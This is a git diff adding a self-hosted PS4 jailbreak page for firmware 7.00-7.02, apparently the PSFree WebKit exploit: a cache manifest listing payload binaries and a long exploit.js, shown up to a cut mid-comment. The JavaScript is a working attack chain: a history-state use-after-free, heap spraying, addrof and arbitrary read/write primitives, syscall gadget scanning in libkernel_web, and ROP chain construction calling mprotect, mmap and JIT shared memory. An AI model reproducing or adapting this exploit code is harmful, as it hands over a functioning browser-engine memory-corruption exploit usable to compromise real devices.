diff --git a/702L/Cache.manifest b/702L/Cache.manifest
new file mode 100644
index 00000000..e158262f
--- /dev/null
+++ b/702L/Cache.manifest
@@ -0,0 +1,21 @@
+CACHE MANIFEST
+# v2.5.9 Self-Host
+
+CopyCH.bin
+cache.html
+goldhen_2.2.2_702.bin
+goldhen_2.3_702.bin
+exploit.js
+index.html
+int64.js
+rop.js
+userland.js
+utils.js
+ftp.bin
+ps4debug.bin
+webrte.bin
+disableupdates.bin
+enableupdates.bin
+
+NETWORK:
+*
\ No newline at end of file
diff --git a/702L/CopyCH.bin b/702L/CopyCH.bin
new file mode 100644
index 00000000..5c1c24cd
Binary files /dev/null and b/702L/CopyCH.bin differ
diff --git a/702L/cache.html b/702L/cache.html
new file mode 100644
index 00000000..76937081
--- /dev/null
+++ b/702L/cache.html
@@ -0,0 +1,239 @@
+
+
+Karo Host Auto Exploit + PSFree Webkit Light Version 7.00 - 7.02 fw
+
+
+
+
+
+
+Karo Host Auto Exploit + PSFree Webkit Light Version 7.00 - 7.02 fw
+Caching... Wait
+
+
+
+
+
+
diff --git a/702L/disableupdates.bin b/702L/disableupdates.bin
new file mode 100644
index 00000000..423be910
Binary files /dev/null and b/702L/disableupdates.bin differ
diff --git a/702L/enableupdates.bin b/702L/enableupdates.bin
new file mode 100644
index 00000000..c42d4e5b
Binary files /dev/null and b/702L/enableupdates.bin differ
diff --git a/702L/exploit.js b/702L/exploit.js
new file mode 100644
index 00000000..79f00014
--- /dev/null
+++ b/702L/exploit.js
@@ -0,0 +1,1489 @@
+var master_b = new Uint32Array(2);
+var slave_b = new Uint32Array(2);
+var slave_addr;
+var slave_buf_addr;
+var master_addr;
+addEventListener('unhandledrejection', (event) => {
+ const reason = event.reason;
+ // We log the line and column numbers as well since some exceptions (like
+ // SyntaxError) do not show it in the stack trace.
+ alert(
+ `${reason}\n`
+ + `${reason.sourceURL}:${reason.line}:${reason.column}\n`
+ + `${reason.stack}`
+ );
+ throw reason;
+})
+
+const ps4_8_03 = 1;
+
+// this version for 9.xx
+const ps4_9_00 = 2;
+
+// version 9.xx is for ps5 1.xx-5.xx as well
+const ps5_5_00 = ps4_9_00;
+
+// this version for 6.50-6.72
+const ps4_6_50 = 3;
+
+// this version for 6.00-6.20
+const ps4_6_00 = 4;
+let target = ps4_8_03;
+function set_target(value) {
+ switch (value) {
+ case ps4_8_03:
+ case ps4_9_00:
+ case ps4_6_00:
+ case ps4_6_50: {
+ break;
+ }
+ default: {
+ throw RangeError('invalid target: ' + target);
+ }
+ }
+
+ target = value;
+}
+
+
+function check_range(x) {
+ return (-0x80000000 <= x) && (x <= 0xffffffff);
+}
+
+function unhexlify(hexstr) {
+ if (hexstr.substring(0, 2) === "0x") {
+ hexstr = hexstr.substring(2);
+ }
+ if (hexstr.length % 2 === 1) {
+ hexstr = '0' + hexstr;
+ }
+ if (hexstr.length % 2 === 1) {
+ throw TypeError("Invalid hex string");
+ }
+
+ let bytes = new Uint8Array(hexstr.length / 2);
+ for (let i = 0; i < hexstr.length; i += 2) {
+ let new_i = hexstr.length - 2 - i;
+ let substr = hexstr.slice(new_i, new_i + 2);
+ bytes[i / 2] = parseInt(substr, 16);
+ }
+
+ return bytes;
+}
+
+function operation(f, nargs) {
+ return function () {
+ if (arguments.length !== nargs)
+ throw Error("Not enough arguments for function " + f.name);
+ let new_args = [];
+ for (let i = 0; i < arguments.length; i++) {
+ if (!(arguments[i] instanceof Int)) {
+ new_args[i] = new Int(arguments[i]);
+ } else {
+ new_args[i] = arguments[i];
+ }
+ }
+ return f.apply(this, new_args);
+ };
+}
+
+class Int {
+ constructor(low, high) {
+ let buffer = new Uint32Array(2);
+ let bytes = new Uint8Array(buffer.buffer);
+
+ if (arguments.length > 2) {
+ throw TypeError('Int takes at most 2 args');
+ }
+ if (arguments.length === 0) {
+ throw TypeError('Int takes at min 1 args');
+ }
+ let is_one = false;
+ if (arguments.length === 1) {
+ is_one = true;
+ }
+
+ if (!is_one) {
+ if (typeof (low) !== 'number'
+ && typeof (high) !== 'number') {
+ throw TypeError('low/high must be numbers');
+ }
+ }
+
+ if (typeof low === 'number') {
+ if (!check_range(low)) {
+ throw TypeError('low not a valid value: ' + low);
+ }
+ if (is_one) {
+ high = 0;
+ if (low < 0) {
+ high = -1;
+ }
+ } else {
+ if (!check_range(high)) {
+ throw TypeError('high not a valid value: ' + high);
+ }
+ }
+ buffer[0] = low;
+ buffer[1] = high;
+ } else if (typeof low === 'string') {
+ bytes.set(unhexlify(low));
+ } else if (typeof low === 'object') {
+ if (low instanceof Int) {
+ bytes.set(low.bytes);
+ } else {
+ if (low.length !== 8)
+ throw TypeError("Array must have exactly 8 elements.");
+ bytes.set(low);
+ }
+ } else {
+ throw TypeError('Int does not support your object for conversion');
+ }
+
+ this.buffer = buffer;
+ this.bytes = bytes;
+
+ this.eq = operation(function eq(b) {
+ const a = this;
+ return a.low() === b.low() && a.high() === b.high();
+ }, 1);
+
+ this.neg = operation(function neg() {
+ let type = this.constructor;
+
+ let low = ~this.low();
+ let high = ~this.high();
+
+ let res = (new Int(low, high)).add(1);
+
+ return new type(res);
+ }, 0);
+
+ this.add = operation(function add(b) {
+ let type = this.constructor;
+
+ let low = this.low();
+ let high = this.high();
+
+ low += b.low();
+ let carry = 0;
+ if (low > 0xffffffff) {
+ carry = 1;
+ }
+ high += carry + b.high();
+
+ low &= 0xffffffff;
+ high &= 0xffffffff;
+
+ return new type(low, high);
+ }, 1);
+
+ this.sub = operation(function sub(b) {
+ let type = this.constructor;
+
+ b = b.neg();
+
+ let low = this.low();
+ let high = this.high();
+
+ low += b.low();
+ let carry = 0;
+ if (low > 0xffffffff) {
+ carry = 1;
+ }
+ high += carry + b.high();
+
+ low &= 0xffffffff;
+ high &= 0xffffffff;
+
+ return new type(low, high);
+ }, 1);
+ }
+
+ low() {
+ return this.buffer[0];
+ }
+
+ high() {
+ return this.buffer[1];
+ }
+
+ toString(is_pretty) {
+ if (!is_pretty) {
+ let low = this.low().toString(16).padStart(8, '0');
+ let high = this.high().toString(16).padStart(8, '0');
+ return '0x' + high + low;
+ }
+ let high = this.high().toString(16).padStart(8, '0');
+ high = high.substring(0, 4) + '_' + high.substring(4);
+
+ let low = this.low().toString(16).padStart(8, '0');
+ low = low.substring(0, 4) + '_' + low.substring(4);
+ return '0x' + high + '_' + low;
+ }
+}
+
+Int.Zero = new Int(0);
+Int.One = new Int(1);
+function read(u8_view, offset, size) {
+ let res = 0;
+ for (let i = 0; i < size; i++) {
+ res += u8_view[offset + i] << i*8;
+ }
+ // << returns a signed integer, >>> converts it to unsigned
+ return res >>> 0;
+}
+
+function read16(u8_view, offset) {
+ return read(u8_view, offset, 2);
+}
+
+function read32(u8_view, offset) {
+ return read(u8_view, offset, 4);
+}
+
+function read64(u8_view, offset) {
+ let res = [];
+ for (let i = 0; i < 8; i++) {
+ res.push(u8_view[offset + i]);
+ }
+ return new Int(res);
+}
+
+// for writes less than 8 bytes
+function write(u8_view, offset, value, size) {
+ for (let i = 0; i < size; i++) {
+ u8_view[offset + i] = (value >>> i*8) & 0xff;
+ }
+}
+
+function write16(u8_view, offset, value) {
+ write(u8_view, offset, value, 2);
+}
+
+function write32(u8_view, offset, value) {
+ write(u8_view, offset, value, 4);
+}
+
+function write64(u8_view, offset, value) {
+ if (!(value instanceof Int)) {
+ throw TypeError('write64 value must be an Int');
+ }
+
+ let low = value.low();
+ let high = value.high();
+
+ for (let i = 0; i < 4; i++) {
+ u8_view[offset + i] = (low >>> i*8) & 0xff;
+ }
+ for (let i = 0; i < 4; i++) {
+ u8_view[offset + 4 + i] = (high >>> i*8) & 0xff;
+ }
+}
+
+function sread64(str, offset) {
+ let res = [];
+ for (let i = 0; i < 8; i++) {
+ res.push(str.charCodeAt(offset + i));
+ }
+ return new Int(res);
+}
+
+const KB = 1024;
+const MB = KB * KB;
+const GB = KB * KB * KB;
+const js_butterfly = 0x8;
+
+// offsets for JSC::JSArrayBufferView
+const view_m_vector = 0x10;
+const view_m_length = 0x18;
+const view_m_mode = 0x1c;
+
+// sizeof JSC::JSArrayBufferView
+const size_view = 0x20;
+
+// offsets for WTF::StringImpl
+const strimpl_strlen = 4;
+const strimpl_m_data = 8;
+const strimpl_inline_str = 0x14;
+
+// sizeof WTF::StringImpl
+const size_strimpl = 0x18;
+
+
+let mem = null;
+
+function init_module(memory) {
+ mem = memory;
+}
+
+class Addr extends Int {
+ read8(offset) {
+ const addr = this.add(offset);
+ return mem.read8(addr);
+ }
+
+ read16(offset) {
+ const addr = this.add(offset);
+ return mem.read16(addr);
+ }
+
+ read32(offset) {
+ const addr = this.add(offset);
+ return mem.read32(addr);
+ }
+
+ read64(offset) {
+ const addr = this.add(offset);
+ return mem.read64(addr);
+ }
+
+ // returns a pointer instead of an Int
+ readp(offset) {
+ const addr = this.add(offset);
+ return mem.readp(addr);
+ }
+
+ write8(offset, value) {
+ const addr = this.add(offset);
+
+ mem.write8(addr, value);
+ }
+
+ write16(offset, value) {
+ const addr = this.add(offset);
+
+ mem.write16(addr, value);
+ }
+
+ write32(offset, value) {
+ const addr = this.add(offset);
+
+ mem.write32(addr, value);
+ }
+
+ write64(offset, value) {
+ const addr = this.add(offset);
+
+ mem.write64(addr, value);
+ }
+}
+
+class MemoryBase {
+ _addrof(obj) {
+ if (typeof obj !== 'object'
+ && typeof obj !== 'function'
+ ) {
+ throw TypeError('addrof argument not a JS object');
+ }
+ this.worker.a = obj;
+ write64(this.main, view_m_vector, this.butterfly.sub(0x10));
+ let res = read64(this.worker, 0);
+ write64(this.main, view_m_vector, this._current_addr);
+
+ return res;
+ }
+
+ addrof(obj) {
+ return new Addr(this._addrof(obj));
+ }
+
+ set_addr(addr) {
+ if (!(addr instanceof Int)) {
+ throw TypeError('addr must be an Int');
+ }
+ this._current_addr = addr;
+ write64(this.main, view_m_vector, this._current_addr);
+ }
+
+ get_addr() {
+ return this._current_addr;
+ }
+
+ write0(size, offset, value) {
+ const i = offset + 1;
+ if (i >= 2**32 || i < 0) {
+ throw RangeError(`read0() invalid offset: ${offset}`);
+ }
+
+ this.set_addr(new Int(-1));
+
+ switch (size) {
+ case 8: {
+ this.worker[i] = value;
+ }
+ case 16: {
+ write16(this.worker, i, value);
+ }
+ case 32: {
+ write32(this.worker, i, value);
+ }
+ case 64: {
+ write64(this.worker, i, value);
+ }
+ default: {
+ throw RangeError(`write0() invalid size: ${size}`);
+ }
+ }
+ }
+
+ read8(addr) {
+ this.set_addr(addr);
+ return this.worker[0];
+ }
+
+ read16(addr) {
+ this.set_addr(addr);
+ return read16(this.worker, 0);
+ }
+
+ read32(addr) {
+ this.set_addr(addr);
+ return read32(this.worker, 0);
+ }
+
+ read64(addr) {
+ this.set_addr(addr);
+ return read64(this.worker, 0);
+ }
+
+ // returns a pointer instead of an Int
+ readp(addr) {
+ return new Addr(this.read64(addr));
+ }
+
+ write8(addr, value) {
+ this.set_addr(addr);
+ this.worker[0] = value;
+ }
+
+ write16(addr, value) {
+ this.set_addr(addr);
+ write16(this.worker, 0, value);
+ }
+
+ write32(addr, value) {
+ this.set_addr(addr);
+ write32(this.worker, 0, value);
+ }
+
+ write64(addr, value) {
+ this.set_addr(addr);
+ write64(this.worker, 0, value);
+ }
+}
+function make_buffer(addr, size) {
+ const u = new Uint8Array(1001);
+ const u_addr = mem.addrof(u);
+ const old_addr = u_addr.read64(view_m_vector);
+ const old_size = u_addr.read32(view_m_length);
+
+ u_addr.write64(view_m_vector, addr);
+ u_addr.write32(view_m_length, size);
+ const copy = new Uint8Array(u.length);
+ copy.set(u);
+ const res = copy.buffer;
+
+ // restore
+ u_addr.write64(view_m_vector, old_addr);
+ u_addr.write32(view_m_length, old_size);
+
+ return res;
+}
+
+function check_magic_at(p, is_text) {
+ const text_magic = [
+ new Int([0x55, 0x48, 0x89, 0xe5, 0x41, 0x57, 0x41, 0x56]),
+ new Int([0x41, 0x55, 0x41, 0x54, 0x53, 0x50, 0x48, 0x8d]),
+ ];
+ const data_magic = [
+ new Int(0x20),
+ new Int(0x3c13f4bf, 0x2),
+ ];
+
+ const magic = is_text ? text_magic : data_magic;
+ const value = [p.read64(0), p.read64(8)];
+
+ return value[0].eq(magic[0]) && value[1].eq(magic[1]);
+}
+function find_base(addr, is_text, is_back) {
+ // ps4 page size
+ const page_size = 16 * KB;
+ // align to page size
+ addr = align(addr, page_size);
+ const offset = (is_back ? -1 : 1) * page_size;
+ while (true) {
+ if (check_magic_at(addr, is_text)) {
+ break;
+ }
+ addr = addr.add(offset)
+ }
+ return addr;
+}
+
+function get_view_vector(view) {
+ if (!ArrayBuffer.isView(view)) {
+ throw TypeError(`object not a JSC::JSArrayBufferView: ${view}`);
+ }
+ return mem.addrof(view).readp(view_m_vector);
+}
+
+function resolve_import(import_addr) {
+ if (import_addr.read16(0) !== 0x25ff) {
+ throw Error(
+ `instruction at ${import_addr} is not of the form: jmp qword`
+ + ' [rip + X]'
+ );
+ }
+ const disp = import_addr.read32(2);
+ const offset = new Int(disp, disp >> 31);
+ const function_addr = import_addr.readp(offset.add(6));
+
+ return function_addr;
+}
+
+function init_syscall_array(
+ syscall_array,
+ libkernel_web_base,
+ max_search_size,
+) {
+ if (typeof max_search_size !== 'number') {
+ throw TypeError(`max_search_size is not a number: ${max_search_size}`);
+ }
+ if (max_search_size < 0) {
+ throw Error(`max_search_size is less than 0: ${max_search_size}`);
+ }
+
+ const libkernel_web_buffer = make_buffer(
+ libkernel_web_base,
+ max_search_size,
+ );
+ const kbuf = new Uint8Array(libkernel_web_buffer);
+ let text_size = 0;
+ let found = false;
+ for (let i = 0; i < max_search_size; i++) {
+ if (kbuf[i] === 0x72
+ && kbuf[i + 1] === 0x64
+ && kbuf[i + 2] === 0x6c
+ && kbuf[i + 3] === 0x6f
+ ) {
+ text_size = i;
+ found = true;
+ break;
+ }
+ }
+ if (!found) {
+ throw Error(
+ '"rdlo" string not found in libkernel_web, base address:'
+ + ` ${libkernel_web_base}`
+ );
+ }
+
+ for (let i = 0; i < text_size; i++) {
+ if (kbuf[i] === 0x48
+ && kbuf[i + 1] === 0xc7
+ && kbuf[i + 2] === 0xc0
+ && kbuf[i + 7] === 0x49
+ && kbuf[i + 8] === 0x89
+ && kbuf[i + 9] === 0xca
+ && kbuf[i + 10] === 0x0f
+ && kbuf[i + 11] === 0x05
+ ) {
+ const syscall_num = read32(kbuf, i + 3);
+ syscall_array[syscall_num] = libkernel_web_base.add(i);
+ // skip the sequence
+ i += 11;
+ }
+ }
+}
+
+class Memory extends MemoryBase {
+ constructor(main, worker) {
+ super();
+
+ this.main = main;
+ this.worker = worker;
+ worker.a = 0; // dummy value, we just want to create the "a" property
+ this.butterfly = read64(main, js_butterfly);
+
+ write32(main, view_m_length, 0xffffffff);
+
+ this._current_addr = Int.Zero;
+
+ init_module(this);
+ }
+}
+
+
+function die(msg) {
+ alert(msg);
+ undefinedFunction();
+}
+
+function debug_log(msg) {
+ document.getElementById("progress").style.color = "orange";
+ document.getElementById("progress").innerHTML=msg;
+ let textNode = document.createTextNode(msg);
+ let node = document.createElement("p").appendChild(textNode);
+}
+
+function clear_log() {
+ document.body.innerHTML = null;
+}
+
+function str2array(str, length, offset) {
+ if (offset === undefined) {
+ offset = 0;
+ }
+ let a = new Array(length);
+ for (let i = 0; i < length; i++) {
+ a[i] = str.charCodeAt(i + offset);
+ }
+ return a;
+}
+
+// alignment must be 32 bits and is a power of 2
+function align(a, alignment) {
+ if (!(a instanceof Int)) {
+ a = new Int(a);
+ }
+ const mask = -alignment & 0xffffffff;
+ let type = a.constructor;
+ let low = a.low() & mask;
+ return new type(low, a.high());
+}
+
+async function send(url, buffer, file_name, onload=() => {}) {
+ const file = new File(
+ [buffer],
+ file_name,
+ {type:'application/octet-stream'}
+ );
+ const form = new FormData();
+ form.append('upload', file);
+
+ debug_log('send');
+ const response = await fetch(url, {method: 'POST', body: form});
+
+ if (!response.ok) {
+ throw Error(`Network response was not OK, status: ${response.status}`);
+ }
+ onload();
+}
+const syscall_map = new Map(Object.entries({
+ 'close': 6,
+ 'setuid' : 23,
+ 'getuid' : 24,
+ 'mprotect': 74,
+ 'socket' : 97,
+ 'fchmod' : 124,
+ 'mlock' : 203,
+ 'kqueue' : 362,
+ 'kevent' : 363,
+ 'mmap' : 477,
+ // for JIT shared memory
+ 'jitshm_create' : 533,
+ 'jitshm_alias' : 534,
+}));
+
+const upper_pad = 0x10000;
+// maximum size of the ROP stack
+const stack_size = 0x10000;
+const total_size = upper_pad + stack_size;
+
+const argument_pops = [
+ 'pop rdi; ret',
+ 'pop rsi; ret',
+ 'pop rdx; ret',
+ 'pop rcx; ret',
+ 'pop r8; ret',
+ 'pop r9; ret',
+];
+
+class ChainBase {
+ constructor() {
+ this.is_stale = false;
+ this.position = 0;
+ this._return_value = new Uint8Array(8);
+ this.retval_addr = get_view_vector(this._return_value);
+
+ const stack_buffer = new ArrayBuffer(total_size);
+ this.stack_buffer = stack_buffer;
+ this.stack = new Uint8Array(stack_buffer, upper_pad, stack_size);
+ this.stack_addr = get_view_vector(this.stack);
+ }
+
+ check_stale() {
+ if (this.is_stale) {
+ throw Error('chain already ran, clean it first');
+ }
+ this.is_stale = true;
+ }
+
+ check_is_empty() {
+ if (this.position === 0) {
+ throw Error('chain is empty');
+ }
+ }
+
+ clean() {
+ this.position = 0;
+ this.is_stale = false;
+ }
+
+ push_value(value) {
+ if (this.position >= stack_size) {
+ throw Error(`no more space on the stack, pushed value: ${value}`);
+ }
+ write64(this.stack, this.position, value);
+ this.position += 8;
+ }
+
+ // converts value to Int first
+ push_constant(value) {
+ this.push_value(new Int(value));
+ }
+
+ get_gadget(insn_str) {
+ const addr = this.gadgets.get(insn_str);
+ if (addr === undefined) {
+ throw Error(`gadget not found: ${insn_str}`);
+ }
+
+ return addr;
+ }
+
+ push_gadget(insn_str) {
+ this.push_value(this.get_gadget(insn_str));
+ }
+
+ push_call(func_addr, ...args) {
+ if (args.length > 6) {
+ throw TypeError(
+ 'call() does not support functions that have more than 6'
+ + ' arguments'
+ );
+ }
+
+ for (let i = 0; i < args.length; i++) {
+ this.push_gadget(argument_pops[i]);
+ this.push_constant(args[i]);
+ }
+
+ if ((this.position & (0x10 - 1)) !== 0) {
+ this.push_gadget('ret');
+ }
+
+ this.push_value(func_addr);
+ }
+
+ push_syscall(syscall_name, ...args) {
+ if (typeof syscall_name !== 'string') {
+ throw TypeError(`syscall_name not a string: ${syscall_name}`);
+ }
+
+ const sysno = syscall_map.get(syscall_name);
+ if (sysno === undefined) {
+ throw Error(`syscall_name not found: ${syscall_name}`);
+ }
+
+ const syscall_addr = this.syscall_array[sysno];
+ if (syscall_addr === undefined) {
+ throw Error(`syscall number not in syscall_array: ${sysno}`);
+ }
+
+ this.push_call(syscall_addr, ...args);
+ }
+
+ // ROP chain to retrieve rax
+ push_get_retval() {
+ throw Error('push_get_retval() not implemented');
+ }
+
+ run() {
+ throw Error('run() not implemented');
+ }
+
+ get return_value() {
+ return read64(this._return_value, 0);
+ }
+
+ static init_class(gadgets, syscall_array=[]) {
+ for (const insn of argument_pops) {
+ if (!gadgets.has(insn)) {
+ throw Error(`gadget map must contain this gadget: ${insn}`);
+ }
+ }
+ this.prototype.gadgets = gadgets;
+ this.prototype.syscall_array = syscall_array;
+ }
+}
+
+const ssv_len = (() => {
+ switch (target) {
+ case ps4_6_00: {
+ return 0x58;
+ }
+ case ps4_9_00: {
+ return 0x50;
+ }
+ case ps4_6_50:
+ case ps4_8_03: {
+ return 0x48;
+ }
+ default: {
+ throw RangeError('invalid target: ' + target);
+ }
+ }
+})();
+
+const num_reuse = 0x400;
+
+// size of JSArrayBufferView
+const original_strlen = ssv_len - size_strimpl;
+const buffer_len = 0x20;
+const num_str = 0x400;
+const num_gc = 30;
+const num_space = 19;
+const original_loc = window.location.pathname;
+const loc = original_loc + '#foo';
+let rstr = null;
+let view_leak_arr = [];
+let jsview = [];
+
+// object for saving values
+let s1 = {views : []};
+let view_leak = null;
+
+let input = document.body.appendChild(document.createElement("input"));
+let foo = document.body.appendChild(document.createElement("a"));
+foo.id = "foo";
+input.id = "input";
+let pressure = null;
+function gc(num_loop) {
+ pressure = Array(100);
+ for (let i = 0; i < num_loop; i++) {
+ for (let i = 0; i < pressure.length; i++) {
+ pressure[i] = new Uint32Array(0x40000);
+ }
+ pressure = Array(100);
+ }
+ pressure = null;
+}
+
+function sleep(ms) {
+ return new Promise(resolve => setTimeout(resolve, ms));
+}
+
+function prepare_uaf() {
+ // don't want any state0 near state1
+ history.pushState('state0', '');
+ for (let i = 0; i < num_space; i++) {
+ history.replaceState('state0', '');
+ }
+
+ history.replaceState("state1", "", loc);
+
+ // don't want any state2 near state1
+ history.pushState("state2", "");
+ for (let i = 0; i < num_space; i++) {
+ history.replaceState("state2", "");
+ }
+}
+
+function free(save) {
+ history.replaceState('state3', '', original_loc);
+
+ for (let i = 0; i < num_reuse; i++) {
+ let view = new Uint8Array(new ArrayBuffer(ssv_len));
+ for (let i = 0; i < view.length; i++) {
+ view[i] = 0x41;
+ }
+ save.views.push(view);
+ }
+}
+
+function check_spray(views) {
+ if (views.length !== num_reuse) {
+ debug_log(`views.length: ${views.length}`);
+ die('views.length !== num_reuse, restart the entire exploit');
+ }
+
+ for (let i = 0; i < num_reuse; i++) {
+ if (views[i][0] !== 0x41) {
+ return i;
+ }
+ }
+ return null;
+}
+
+async function use_after_free(pop_func, save) {
+ const pop_promise = new Promise((resolve, reject) => {
+ function pop_wrapper(event) {
+ try {
+ pop_func(event, save);
+ } catch (e) {
+ reject(e);
+ }
+ resolve();
+ }
+ addEventListener("popstate", pop_wrapper, {once:true});
+ });
+
+ prepare_uaf();
+
+ let num_free = 0;
+ function onblur() {
+ if (num_free > 0) {
+ die('multiple free()s, restart the entire exploit');
+ }
+ free(save);
+ num_free++;
+ }
+
+ input.onblur = onblur;
+ await new Promise((resolve) => {
+ input.addEventListener('focus', resolve, {once:true});
+ input.focus();
+ });
+ history.back();
+
+ await pop_promise;
+}
+
+// get arbitrary read
+async function setup_ar(save) {
+ const view = save.ab;
+
+ // set refcount to 1, all other fields to 0/NULL
+ view[0] = 1;
+ for (let i = 1; i < view.length; i++) {
+ view[i] = 0;
+ }
+
+ delete save.views;
+ delete save.pop;
+ gc(num_gc);
+ debug_log('setup_ar() gc done');
+ let total_sleep = 0;
+ const num_sleep = 8;
+ while (true && target !== ps4_9_00) {
+ await sleep(num_sleep);
+ total_sleep += num_sleep;
+
+ if (view[0] !== 1) {
+ break;
+ }
+ }
+ debug_log(`total_sleep: ${total_sleep}`);
+ debug_log(view);
+
+ let num_spray = 0;
+ while (true) {
+ const obj = {};
+ num_spray++;
+
+ for (let i = 0; i < num_str; i++) {
+ let str = new String(
+ 'B'.repeat(original_strlen - 5)
+ + i.toString().padStart(5, '0')
+ );
+ obj[str] = 0x1337;
+ }
+
+ if (view[strimpl_inline_str] === 0x42) {
+ write32(view, strimpl_strlen, 0xffffffff);
+ } else {
+ continue;
+ }
+
+ let found = false;
+ const str_arr = Object.getOwnPropertyNames(obj);
+ for (let i = 0; i < str_arr.length; i++) {
+ if (str_arr[i].length > 0xff) {
+ rstr = str_arr[i];
+ found = true;
+ debug_log('confirmed correct leaked');
+ debug_log(`str len: ${rstr.length}`);
+ debug_log(view);
+ debug_log(`read address: ${read64(view, strimpl_m_data)}`);
+ break;
+ }
+ }
+ if (!found) {
+ continue;
+ }
+
+ debug_log(`num_spray: ${num_spray}`);
+ return;
+ }
+}
+
+async function double_free(save) {
+ const view = save.ab;
+
+ await setup_ar(save);
+
+ // Spraying JSArrayBufferViews
+ debug_log('spraying views');
+ let buffer = new ArrayBuffer(buffer_len);
+ let tmp = [];
+ const num_alloc = 0x10000;
+ const num_threshold = 0xfc00;
+ const num_diff = num_alloc - num_threshold;
+ for (let i = 0; i < num_alloc; i++) {
+ // The last allocated are more likely to be allocated after our relative read
+ if (i >= num_threshold) {
+ view_leak_arr.push(new Uint8Array(buffer));
+ } else {
+ tmp.push(new Uint8Array(buffer));
+ }
+ }
+ tmp = null;
+ debug_log('done spray views');
+ let props = [];
+ for (let i = 0; i < num_diff; i++) {
+ props.push({ value: 0x43434343 });
+ props.push({ value: view_leak_arr[i] });
+ }
+
+ debug_log('start find leak');
+ search: while (true) {
+ Object.defineProperties({}, props);
+ for (let i = 0; i < 0x800000; i++) {
+ let v = null;
+ if (rstr.charCodeAt(i) === 0x43 &&
+ rstr.charCodeAt(i + 1) === 0x43 &&
+ rstr.charCodeAt(i + 2) === 0x43 &&
+ rstr.charCodeAt(i + 3) === 0x43
+ ) {
+ // check if PropertyDescriptor
+ if (rstr.charCodeAt(i + 0x08) === 0x00 &&
+ rstr.charCodeAt(i + 0x0f) === 0x00 &&
+ rstr.charCodeAt(i + 0x10) === 0x00 &&
+ rstr.charCodeAt(i + 0x17) === 0x00 &&
+ rstr.charCodeAt(i + 0x18) === 0x0e &&
+ rstr.charCodeAt(i + 0x1f) === 0x00 &&
+ rstr.charCodeAt(i + 0x28) === 0x00 &&
+ rstr.charCodeAt(i + 0x2f) === 0x00 &&
+ rstr.charCodeAt(i + 0x30) === 0x00 &&
+ rstr.charCodeAt(i + 0x37) === 0x00 &&
+ rstr.charCodeAt(i + 0x38) === 0x0e &&
+ rstr.charCodeAt(i + 0x3f) === 0x00
+ ) {
+ v = str2array(rstr, 8, i + 0x20);
+ // check if array of JSValues pointed by m_buffer
+ } else if (rstr.charCodeAt(i + 0x10) === 0x43 &&
+ rstr.charCodeAt(i + 0x11) === 0x43 &&
+ rstr.charCodeAt(i + 0x12) === 0x43 &&
+ rstr.charCodeAt(i + 0x13) === 0x43) {
+ v = str2array(rstr, 8, i + 8);
+ }
+ }
+ if (v !== null) {
+ view_leak = new Int(v);
+ break search;
+ }
+ }
+ }
+ //
+ // /!\
+ // Critical part ended-up here
+ // /!\
+ //
+ debug_log('end find leak');
+ debug_log('view addr ' + view_leak);
+
+ let rstr_addr = read64(view, strimpl_m_data);
+ write64(view, strimpl_m_data, view_leak);
+ for (let i = 0; i < 4; i++) {
+ jsview.push(sread64(rstr, i*8));
+ }
+ write64(view, strimpl_m_data, rstr_addr);
+ write32(view, strimpl_strlen, original_strlen);
+ debug_log('contents of JSArrayBufferView');
+ debug_log(jsview);
+}
+
+function find_leaked_view(rstr, view_rstr, view_m_vector, view_arr) {
+ const old_m_data = read64(view_rstr, strimpl_m_data);
+
+ let res = null;
+ write64(view_rstr, strimpl_m_data, view_m_vector);
+ for (const view of view_arr) {
+ const magic = 0x41424344;
+ write32(view, 0, magic);
+
+ if (sread64(rstr, 0).low() === magic) {
+ res = view;
+ break;
+ }
+ }
+ write64(view_rstr, strimpl_m_data, old_m_data);
+
+ if (res === null) {
+ die('not found');
+ }
+ return res;
+}
+
+
+class Reader {
+ // leaker will be the view whose address we leaked
+ constructor(rstr, view_rstr, leaker, leaker_addr) {
+ this.rstr = rstr;
+ this.view_rstr = view_rstr;
+ this.leaker = leaker;
+ this.leaker_addr = leaker_addr;
+ this.old_m_data = read64(view_rstr, strimpl_m_data);
+
+ // Create a butterfy with the "a" property as the first. leaker is a
+ // JSArrayBufferView. Instances of that class don't have inlined
+ // properties and the butterfly is immediately created.
+ leaker.a = 0; // dummy value, we just want to create the "a" property
+ }
+
+ addrof(obj) {
+ if (typeof obj !== 'object'
+ && typeof obj !== 'function'
+ ) {
+ throw TypeError('addrof argument not a JS object');
+ }
+
+ this.leaker.a = obj;
+
+ // no need to modify the length, original_strlen is large enough
+ write64(this.view_rstr, strimpl_m_data, this.leaker_addr);
+
+ const butterfly = sread64(this.rstr, js_butterfly);
+ write64(this.view_rstr, strimpl_m_data, butterfly.sub(0x10));
+
+ const res = sread64(this.rstr, 0);
+
+ write64(this.view_rstr, strimpl_m_data, this.old_m_data);
+ return res;
+ }
+
+ get_view_vector(view) {
+ if (!ArrayBuffer.isView(view)) {
+ throw TypeError(`object not a JSC::JSArrayBufferView: ${view}`);
+ }
+
+ write64(this.view_rstr, strimpl_m_data, this.addrof(view));
+ const res = sread64(this.rstr, view_m_vector);
+
+ write64(this.view_rstr, strimpl_m_data, this.old_m_data);
+ return res;
+ }
+}
+
+// data to write to the SerializedScriptValue
+//
+// Setup to make deserialization create an ArrayBuffer with its buffer address
+// pointing to a JSArrayBufferView (worker).
+//
+// TypedArrays (JSArrayBufferView) created via "new TypedArray(x)" where x <=
+// 1000 (fastSizeLimit) have ther buffers allocated on the JavaScript heap
+// (m_mode = FastTypedArray). Requesting the buffer property ("view.buffer")
+// (calls possiblySharedBuffer()) of such a view will allocate a new buffer on
+// the fastMalloc heap, the contents of the old one will be copied. This will
+// change the m_vector field, so care must be taken if you cache the result of
+// get_view_vector(), you must call it again to get the updated field.
+//
+// See enum TypedArrayMode from
+// WebKit/Source/JavaScriptCore/runtime/JSArrayBufferView.h and
+// possiblySharedBuffer() from
+// WebKit/Source/JavaScriptCore/runtime/JSArrayBufferViewInlines.h at PS4 8.03.
+function setup_ssv_data(reader) {
+ const r = reader;
+ // sizeof WTF::Vector
+ const size_vector = 0x10;
+ // sizeof JSC::ArrayBufferContents
+ const size_abc = target === ps4_9_00 ? 0x18 : 0x20;
+
+ // WTF::Vector
+ const m_data = new Uint8Array(size_vector);
+ const data = new Uint8Array(9);
+
+ // m_buffer
+ write64(m_data, 0, r.get_view_vector(data));
+ // m_capacity
+ write32(m_data, 8, data.length);
+ // m_size
+ write32(m_data, 0xc, data.length);
+
+ // 6 is the serialization format version number for ps4 6.00. The format
+ // is backwards compatible and using a value less than the current version
+ // number used by a specific WebKit version is considered valid.
+ //
+ // See CloneDeserializer::isValid() from
